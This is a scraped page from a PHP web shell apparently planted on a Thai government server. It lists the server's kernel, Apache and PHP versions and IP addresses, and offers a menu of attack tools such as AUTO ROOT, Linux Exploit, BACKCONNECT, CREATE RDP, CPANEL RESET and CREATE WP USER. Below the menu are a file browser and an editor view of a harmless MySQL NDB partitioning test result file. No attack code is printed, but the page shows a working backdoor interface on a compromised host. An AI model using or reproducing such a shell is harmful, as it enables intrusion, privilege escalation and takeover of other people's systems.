Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
mysql-test /
suite /
ndb /
r /
[ HOME SHELL ]
Name
Size
Permission
Action
loaddata_autocom_ndb.result
718
B
-rw-r--r--
ndb_alter_table.result
12.48
KB
-rw-r--r--
ndb_alter_table2.result
685
B
-rw-r--r--
ndb_alter_table3.result
1.04
KB
-rw-r--r--
ndb_auto_increment.result
7.7
KB
-rw-r--r--
ndb_autoinc.result
793
B
-rw-r--r--
ndb_basic.result
19.78
KB
-rw-r--r--
ndb_binlog_basic.result
1.37
KB
-rw-r--r--
ndb_binlog_ddl_multi.result
6.8
KB
-rw-r--r--
ndb_binlog_discover.result
735
B
-rw-r--r--
ndb_binlog_format.result
1.55
KB
-rw-r--r--
ndb_binlog_ignore_db.result
383
B
-rw-r--r--
ndb_binlog_log_bin.result
3.63
KB
-rw-r--r--
ndb_binlog_multi.result
3.34
KB
-rw-r--r--
ndb_bitfield.result
4.95
KB
-rw-r--r--
ndb_blob.result
19.15
KB
-rw-r--r--
ndb_blob_partition.result
6.06
KB
-rw-r--r--
ndb_bug26793.result
257
B
-rw-r--r--
ndb_bug31477.result
1.85
KB
-rw-r--r--
ndb_cache.result
4.28
KB
-rw-r--r--
ndb_cache2.result
13.31
KB
-rw-r--r--
ndb_cache_multi.result
1.67
KB
-rw-r--r--
ndb_cache_multi2.result
1.68
KB
-rw-r--r--
ndb_charset.result
5.66
KB
-rw-r--r--
ndb_condition_pushdown.result
54.66
KB
-rw-r--r--
ndb_config.result
1.44
KB
-rw-r--r--
ndb_config2.result
462
B
-rw-r--r--
ndb_cursor.result
792
B
-rw-r--r--
ndb_database.result
303
B
-rw-r--r--
ndb_dd_alter.result
25.79
KB
-rw-r--r--
ndb_dd_basic.result
16.34
KB
-rw-r--r--
ndb_dd_ddl.result
5.7
KB
-rw-r--r--
ndb_dd_disk2memory.result
12.94
KB
-rw-r--r--
ndb_dd_dump.result
15.97
KB
-rw-r--r--
ndb_dd_sql_features.result
22.4
KB
-rw-r--r--
ndb_gis.result
46.05
KB
-rw-r--r--
ndb_grant.result
17.65
KB
-rw-r--r--
ndb_index.result
7.21
KB
-rw-r--r--
ndb_index_ordered.result
18.33
KB
-rw-r--r--
ndb_index_unique.result
12.96
KB
-rw-r--r--
ndb_insert.result
35.84
KB
-rw-r--r--
ndb_limit.result
2.01
KB
-rw-r--r--
ndb_load.result
971
B
-rw-r--r--
ndb_loaddatalocal.result
1.39
KB
-rw-r--r--
ndb_lock.result
4.17
KB
-rw-r--r--
ndb_lock_table.result
205
B
-rw-r--r--
ndb_minmax.result
1.47
KB
-rw-r--r--
ndb_multi.result
2.5
KB
-rw-r--r--
ndb_multi_row.result
1.34
KB
-rw-r--r--
ndb_partition_error.result
1.27
KB
-rw-r--r--
ndb_partition_error2.result
150
B
-rw-r--r--
ndb_partition_key.result
7.59
KB
-rw-r--r--
ndb_partition_list.result
2.25
KB
-rw-r--r--
ndb_partition_range.result
6.45
KB
-rw-r--r--
ndb_read_multi_range.result
11.16
KB
-rw-r--r--
ndb_rename.result
601
B
-rw-r--r--
ndb_replace.result
2.82
KB
-rw-r--r--
ndb_restore.result
15.51
KB
-rw-r--r--
ndb_restore_compat.result
2.98
KB
-rw-r--r--
ndb_restore_different_endian_d...
10.84
KB
-rw-r--r--
ndb_restore_partition.result
14.01
KB
-rw-r--r--
ndb_restore_print.result
8.43
KB
-rw-r--r--
ndb_row_format.result
1.55
KB
-rw-r--r--
ndb_single_user.result
4.02
KB
-rw-r--r--
ndb_sp.result
1.1
KB
-rw-r--r--
ndb_subquery.result
2.86
KB
-rw-r--r--
ndb_temporary.result
740
B
-rw-r--r--
ndb_tmp_table_and_DDL.result
3.11
KB
-rw-r--r--
ndb_transaction.result
4.62
KB
-rw-r--r--
ndb_trigger.result
7.49
KB
-rw-r--r--
ndb_truncate.result
425
B
-rw-r--r--
ndb_types.result
3.12
KB
-rw-r--r--
ndb_update.result
2.09
KB
-rw-r--r--
ndb_update_no_read.result
1.51
KB
-rw-r--r--
ndb_view.result
597
B
-rw-r--r--
ndbapi.result
686
B
-rw-r--r--
ps_7ndb.result
103.25
KB
-rw-r--r--
strict_autoinc_5ndb.result
651
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ndb_partition_key.result
DROP TABLE IF EXISTS t1; CREATE TABLE t1 (a int, b int, c int, d int, PRIMARY KEY(a,b,c)) ENGINE = NDB PARTITION BY KEY (a,b); insert into t1 values (1,1,1,1); select * from t1; a b c d 1 1 1 1 update t1 set d = 2 where a = 1 and b = 1 and c = 1; select * from t1; a b c d 1 1 1 2 delete from t1; select * from t1; a b c d drop table t1; CREATE TABLE t1 (a int, b int, c int, d int, PRIMARY KEY(a,b)) ENGINE = NDB PARTITION BY KEY (c); ERROR HY000: A PRIMARY KEY must include all columns in the table's partitioning function CREATE TABLE t1 (a int, b int, c int, PRIMARY KEY(a,b)) ENGINE = NDB PARTITION BY KEY (a); insert into t1 values (1,1,3),(1,2,3),(1,3,3),(1,4,3),(1,5,3),(1,6,3), (1,7,3),(1,8,3),(1,9,3),(1,10,3),(1,11,3),(1,12,3); select * from t1 order by b; a b c 1 1 3 1 2 3 1 3 3 1 4 3 1 5 3 1 6 3 1 7 3 1 8 3 1 9 3 1 10 3 1 11 3 1 12 3 select max(b) from t1 where a = 1; max(b) 12 select b from t1 where a = 1 order by b desc; b 12 11 10 9 8 7 6 5 4 3 2 1 DROP TABLE t1; CREATE TABLE t1 (a INT, b CHAR(10) COLLATE latin1_bin, c INT, d INT, PRIMARY KEY (a,b,c) USING HASH) ENGINE=NDB DEFAULT CHARSET=latin1 PARTITION BY KEY (b); insert into t1 values (1,"a",1,1),(2,"a",1,1),(3,"a",1,1); -- t1 -- Fragment type: 5 K Value: 6 Min load factor: 78 Max load factor: 80 Temporary table: no Number of attributes: 4 Number of primary keys: 3 Length of frm data: # Row Checksum: 1 Row GCI: 1 SingleUserMode: 0 ForceVarPart: 1 TableStatus: Retrieved -- Attributes -- a Int PRIMARY KEY AT=FIXED ST=MEMORY b Char(10;latin1_bin) PRIMARY KEY DISTRIBUTION KEY AT=FIXED ST=MEMORY c Int PRIMARY KEY AT=FIXED ST=MEMORY d Int NULL AT=FIXED ST=MEMORY -- Indexes -- PRIMARY KEY(a, b, c) - UniqueHashIndex NDBT_ProgramExit: 0 - OK show create table t1; Table Create Table t1 CREATE TABLE `t1` ( `a` int(11) NOT NULL DEFAULT '0', `b` char(10) CHARACTER SET latin1 COLLATE latin1_bin NOT NULL DEFAULT '', `c` int(11) NOT NULL DEFAULT '0', `d` int(11) DEFAULT NULL, PRIMARY KEY (`a`,`b`,`c`) USING HASH ) ENGINE=ndbcluster DEFAULT CHARSET=latin1 /*!50100 PARTITION BY KEY (b) */ DROP TABLE t1; CREATE TABLE t1 (a int not null primary key) PARTITION BY KEY(a) (PARTITION p0 ENGINE = NDB, PARTITION p1 ENGINE = NDB); drop table t1; CREATE TABLE t1 (a int not null primary key); ALTER TABLE t1 ENGINE = NDB PARTITION BY KEY(a) (PARTITION p0 ENGINE = NDB, PARTITION p1 ENGINE = NDB); drop table t1; CREATE TABLE t1 (a int not null primary key) ENGINE = NDB; ALTER TABLE t1 PARTITION BY KEY(a) (PARTITION p0 ENGINE = NDB, PARTITION p1 ENGINE = NDB); drop table t1; create table t1 (a int) engine=ndb partition by key(a) (partition p0, partition p1); show create table t1; Table Create Table t1 CREATE TABLE `t1` ( `a` int(11) DEFAULT NULL ) ENGINE=ndbcluster DEFAULT CHARSET=latin1 /*!50100 PARTITION BY KEY (a) (PARTITION p0 ENGINE = ndbcluster, PARTITION p1 ENGINE = ndbcluster) */ alter table t1 engine=heap; show create table t1; Table Create Table t1 CREATE TABLE `t1` ( `a` int(11) DEFAULT NULL ) ENGINE=MEMORY DEFAULT CHARSET=latin1 /*!50100 PARTITION BY KEY (a) (PARTITION p0 ENGINE = MEMORY, PARTITION p1 ENGINE = MEMORY) */ alter table t1 engine=ndb; show create table t1; Table Create Table t1 CREATE TABLE `t1` ( `a` int(11) DEFAULT NULL ) ENGINE=ndbcluster DEFAULT CHARSET=latin1 /*!50100 PARTITION BY KEY (a) (PARTITION p0 ENGINE = ndbcluster, PARTITION p1 ENGINE = ndbcluster) */ alter table t1 engine=heap remove partitioning; show create table t1; Table Create Table t1 CREATE TABLE `t1` ( `a` int(11) DEFAULT NULL ) ENGINE=MEMORY DEFAULT CHARSET=latin1 alter table t1 engine=ndb partition by key(a) (partition p0, partition p1 engine = ndb); show create table t1; Table Create Table t1 CREATE TABLE `t1` ( `a` int(11) DEFAULT NULL ) ENGINE=ndbcluster DEFAULT CHARSET=latin1 /*!50100 PARTITION BY KEY (a) (PARTITION p0 ENGINE = ndbcluster, PARTITION p1 ENGINE = ndbcluster) */ alter table t1 partition by key (a) (partition p0 engine=ndb, partition p1 engine=ndb); show create table t1; Table Create Table t1 CREATE TABLE `t1` ( `a` int(11) DEFAULT NULL ) ENGINE=ndbcluster DEFAULT CHARSET=latin1 /*!50100 PARTITION BY KEY (a) (PARTITION p0 ENGINE = ndbcluster, PARTITION p1 ENGINE = ndbcluster) */ alter table t1 remove partitioning; show create table t1; Table Create Table t1 CREATE TABLE `t1` ( `a` int(11) DEFAULT NULL ) ENGINE=ndbcluster DEFAULT CHARSET=latin1 alter table t1 partition by key(a) (partition p0 engine=ndb, partition p1); alter table t1 engine=ndb partition by key(a) (partition p0 engine=ndb, partition p1 engine = ndb); show create table t1; Table Create Table t1 CREATE TABLE `t1` ( `a` int(11) DEFAULT NULL ) ENGINE=ndbcluster DEFAULT CHARSET=latin1 /*!50100 PARTITION BY KEY (a) (PARTITION p0 ENGINE = ndbcluster, PARTITION p1 ENGINE = ndbcluster) */ drop table t1; CREATE TABLE t1 ( c1 MEDIUMINT NOT NULL AUTO_INCREMENT, c2 TEXT NOT NULL, c3 INT NOT NULL, c4 BIT NOT NULL, c5 FLOAT, c6 VARCHAR(255), c7 TIMESTAMP, PRIMARY KEY(c1,c3)) ENGINE=NDB PARTITION BY KEY(c3) PARTITIONS 5; ALTER TABLE t1 COALESCE PARTITION 4; DROP TABLE t1; CREATE TABLE t1 (a int primary key) ENGINE=NDB PARTITION BY KEY(a); ANALYZE TABLE t1; Table Op Msg_type Msg_text test.t1 analyze note The storage engine for the table doesn't support analyze CHECK TABLE t1; Table Op Msg_type Msg_text test.t1 check note The storage engine for the table doesn't support check OPTIMIZE TABLE t1; Table Op Msg_type Msg_text test.t1 optimize note The storage engine for the table doesn't support optimize REPAIR TABLE t1; Table Op Msg_type Msg_text test.t1 repair note The storage engine for the table doesn't support repair ALTER TABLE t1 OPTIMIZE PARTITION p0; Table Op Msg_type Msg_text test.t1 optimize note The storage engine for the table doesn't support optimize ALTER TABLE t1 CHECK PARTITION p0; Table Op Msg_type Msg_text test.t1 check note The storage engine for the table doesn't support check ALTER TABLE t1 REPAIR PARTITION p0; Table Op Msg_type Msg_text test.t1 repair note The storage engine for the table doesn't support repair ALTER TABLE t1 ANALYZE PARTITION p0; Table Op Msg_type Msg_text test.t1 analyze note The storage engine for the table doesn't support analyze ALTER TABLE t1 REBUILD PARTITION p0; ERROR HY000: Table storage engine for 't1' doesn't have this option DROP TABLE t1; CREATE TABLE t1 ( c1 MEDIUMINT NOT NULL AUTO_INCREMENT, c2 TEXT NOT NULL, c3 INT NOT NULL, PRIMARY KEY(c1,c3)) ENGINE=NDB PARTITION BY KEY(c3) PARTITIONS 5; ALTER TABLE t1 ADD COLUMN c4 INT AFTER c1; DROP TABLE t1; CREATE TABLE t1 ( c1 MEDIUMINT NOT NULL AUTO_INCREMENT, c2 TEXT NOT NULL, c3 INT NOT NULL, PRIMARY KEY(c1,c3)) ENGINE=NDB PARTITION BY KEY(c3) (PARTITION p0 NODEGROUP 0, PARTITION p1 NODEGROUP 0); ALTER TABLE t1 ADD COLUMN c4 INT AFTER c1; SELECT NODEGROUP,PARTITION_NAME FROM information_schema.partitions WHERE table_name = "t1"; NODEGROUP PARTITION_NAME 0 p0 0 p1 DROP TABLE t1; CREATE TABLE t1 ( a tinyint unsigned NOT NULL, b bigint(20) unsigned NOT NULL, c char(12), PRIMARY KEY (a,b) ) ENGINE ndb DEFAULT CHARSET=latin1 PARTITION BY KEY (a); insert into t1 values(1,1,'1'), (2,2,'2'), (3,3,'3'), (4,4,'4'), (5,5,'5'); select * from t1 where a = 1; a b c 1 1 1 select * from t1 where a = 2; a b c 2 2 2 select * from t1 where a = 3; a b c 3 3 3 select * from t1 where a = 4; a b c 4 4 4 select * from t1 where a = 5; a b c 5 5 5 delete from t1 where a = 1; select * from t1 order by 1; a b c 2 2 2 3 3 3 4 4 4 5 5 5 delete from t1 where a = 2; select * from t1 order by 1; a b c 3 3 3 4 4 4 5 5 5 delete from t1 where a = 3; select * from t1 order by 1; a b c 4 4 4 5 5 5 delete from t1 where a = 4; select * from t1 order by 1; a b c 5 5 5 delete from t1 where a = 5; select * from t1 order by 1; a b c drop table t1;
Close